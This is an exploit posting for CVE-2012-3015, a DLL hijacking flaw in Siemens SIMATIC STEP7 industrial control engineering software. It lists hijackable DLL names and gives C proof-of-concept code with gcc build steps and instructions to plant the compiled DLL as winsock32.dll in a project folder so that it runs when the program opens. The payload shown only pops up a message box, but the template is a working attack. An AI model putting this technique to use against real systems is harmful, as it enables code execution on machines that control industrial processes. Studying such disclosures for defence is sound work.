#######################################################
# Exploit Title: SIMATIC Manager Step7 DLL Hijacking 
# Cve : 2012-3015
# Author: Ashiyane Digital Security Team
# Vendor Homepage: siemens.com
# Version: >=5.5 SP1
# Tested on:Windows 7
# Exploit by : Amir.ght
########################################################
Description:
 Company Name: SIEMENS AG
 Product Name: SIEMENS STEP 7/S7(TM) Programmable Controller
 SIMATIC-Manager:
 The SIMATIC Manager manages all data belonging to an automation project,
 regardless of the target system (SIMATIC S7, SIMATIC C7 or SIMATIC WinAC) on which they are implemented.
 It provides a common entry point for all SIMATIC S7, C7 or WinAC tools.
 The SIMATIC software tools that are necessary for processing the selected data are automatically started by SIMATIC Manager.
 
 Untrusted search path vulnerability in Siemens SIMATIC STEP7 before 5.5 SP1,
 as used in SIMATIC PCS7 7.1 SP3 and earlier and other products,
 allows local users to gain privileges via a Trojan horse DLL in a STEP7 project folder.
  
 vulnerabe DLLs: 
  aC/ winsock32.dll
  aC/ s7acalxx.dll
  aC/ s7wsilrx.dll
  aC/ s7wlclrx.dll
  aC/ s7ousbpx.dll And Many Others 
 
###############################################################
# PROOF OF CONCEPT:
	For Test this vulnerability we can compile bellow code and rename outfile to 
	winsock32.dll or s7acalxx.dll and copy dll file to directory of simiatic program.
	after opening program malicious dll will be executed
..........................................
 //gcc exploit.c -o winsock32.dll -shared
//this dll show a message box 

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}
 
int dll_hijack()
{
  MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}